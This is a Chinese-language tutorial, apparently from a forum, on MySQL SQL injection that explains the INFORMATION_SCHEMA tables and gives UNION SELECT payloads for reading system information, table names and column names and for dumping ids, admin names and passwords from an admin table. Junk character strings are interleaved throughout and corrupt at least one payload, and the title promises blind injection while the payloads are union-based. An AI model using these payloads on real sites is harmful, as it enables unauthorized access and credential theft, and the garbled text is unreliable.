本文介绍MYSQL盲注的一些语句和方法
f. q( |: g; f8 B- W, Z X- B' s& K3 W& w
学习盲注前先了解下 IFORMATION_SCHEMA 库
4 c7 r3 C, `7 e) t a7 K. W" V8 M$ A% i, H1 p" x
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有7 H# h& q; H# J' `& [
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。- E; ]+ \ Q3 V8 p. z; i3 U. ]
1.得到所有数据库名:
], ?: d, o; W0 X( S5 ||SCHEMATA ->存储数据库名的表2 n8 a! \9 r9 }
|---字段:SCHEMA_NAME ->数据库名称
; S0 x% T+ ?+ y* P4 r- B# v# n5 v; a5 ]$ W8 j8 w
|TABLES ->存储表名
9 l8 o; ]6 y" I! l) q$ l" u v$ h|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
6 @7 T8 v d) m; o|---字段:TABLE_NAME ->存储表的表名 S- z5 F9 U# l2 R3 |# Y& M8 `" ]5 {
! a* i4 C5 G% o7 B! B0 {7 {2 B|COLUMNS ->存储的字段名表) N! c3 K3 M. ]' p% G; Y. a: E
|---字段:TABLE_SCHEMA ->该字段所属数据库名
8 Z# i" U8 ?+ @& E2 v ~. p& y0 m|---字段:TABLE_NAME ->存储所属表的名称4 X( z# X4 H9 O. E
, s" p5 k" a6 }- t
|---字段:COLUMN_NAME ->该字段的名称7 }1 O0 L5 P q) N7 X& M
9 T' m. f3 t/ W/ ?) J1 V6 e0 J
0 u1 f$ ^0 R6 r; o0 n' }4 F
0 }0 j# [3 A- l+ M: ^& j& ~###########################################################################. T9 x7 x1 I4 m+ x2 X
3 J/ K' y& ?0 W/ B0x001 获取系统信息:
2 \/ M* G: K4 Z) y; a7 u q# p9 B* C9 b1 A8 T( u: [. r
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*) V u' }9 S6 {: s" e
7 {' I4 m5 Y" J: l5 z+ q
/*
4 Q( z: m$ ^; q6 N, \
0 Y( m1 [2 N* n1 o A. c$ W@@global.version_compile_os 获取系统版本
) m2 Z, C) B. c; O1 Q3 u) Y* S
* a) M" K0 t5 Y7 V8 z@@datadir 数据库路径
0 ?, I1 [5 x0 J! T6 F. X3 d6 pdatabase() 当前数据库名称 `$ z7 J8 \& p- L: h* r
0x3c62723e 换行HEX值: C- P, ^/ ]& u" `( o) ?3 F
+ X* {* z& j/ d, H; c7 g
*/2 U# l: S( Q4 a' H3 R% h/ q
) d- P8 c8 \( p
2 q, R- P/ M4 v3 ~
5 _6 V% L( Z# b8 P######################################################################) r9 Q7 l2 {) s: j- I* I6 N" s2 X; j
0 @5 z. y- T2 O& }) J- O8 s4 L
0x002 获取表名
8 E8 s; D$ ^+ f3 {' u K- X% O, l
; e$ @2 ?8 @% k7 b2 junion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
r5 K' T6 R/ t8 _) m) |; ~" U4 V* l, Z1 L* q( O
' k/ i, C) K& X) l. ]
1 \2 g" B& \; m0 q3 s/*
0 Q" h3 n, A: w! l& ~" p' |& {# y
0x67617264656e 为当前数据库名2 I8 h# W, L" b" x' A9 k
5 H$ v- {' `; e' m6 k$ e) Vgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
$ m" g' m5 c, o+ {. Y* v
+ k: o4 D8 j& U, y*/
2 ~: L) u, E7 f; L
; ~( C- h/ C1 b5 U3 ^0 [ ?####################################################################### D. F) M7 Y$ q1 [
. c1 J) a0 T# t' @$ s5 d- t6 b
- P! n: N& R9 o9 s2 }
8 |( D' a9 e6 H9 f! f: K* m. {0x003 获取字段/ I6 h6 e0 y- E1 k% G% X% L' h& u" y
" k4 I5 W' X7 s% m5 r G. \union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
2 b( U- g( M* v- W' s' O2 k: k' y' V: f5 b& ?. u
/*
- X [* x) J) V7 C% e
& F ]2 h1 y2 S( h! ^, `group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段2 o$ B2 O6 L( Y6 w0 _* i
( [; ^) z2 f7 S& k+ c" ]1 [; B) n0x61646d696e ->选择一个表
! M7 d2 y8 ~* s% x1 }0 I p% ]* k, U6 Y
0x67617264656e ->数据库名
) f1 D/ S0 @% t5 g, J, `3 W' p1 e5 L6 [
*/; K: l! j+ q O. c
& J* e) }; [$ B7 h, ?; y#####################################################################( O! B8 S4 o5 t& Q9 j7 l( X
6 `( ]% u N' }7 [0 [& Z
4 i- d2 T( g9 {5 J& J. {
5 e. h! P8 Z" N& L. I, K0x004 获取数据
3 b' q' i( Q. Y% g4 o% @( n3 D- h) x) W
union select 1,2,3; r+ N& o( b0 }8 J, O/ V
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
7 v, J- w1 z# ^8 M# H# z+ Y, y' U3 V. A% Q2 X
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin; }. L1 I; N! k: m& F! \
0 J, c/ o0 D/ a7 s! y
+ J4 f% N: r* X" Z( p5 Y W ]* g' b; q
/*; X) p# x' l+ q: A$ k6 L
$ h; R C% k1 ~% K+ u
0x3c62723e 换行符号HEX编码) q2 a; @' t8 |
+ Z& K- l- r2 {9 I/ S* ]
group_concat 同时获得该字段所有数据; D2 b& ?* P/ K; Z! h# V1 B
9 h/ @& l6 C) G8 S4 C*/* x2 K' Q# R+ z7 Z6 e
' ~2 |& x7 m& x9 F6 O: h |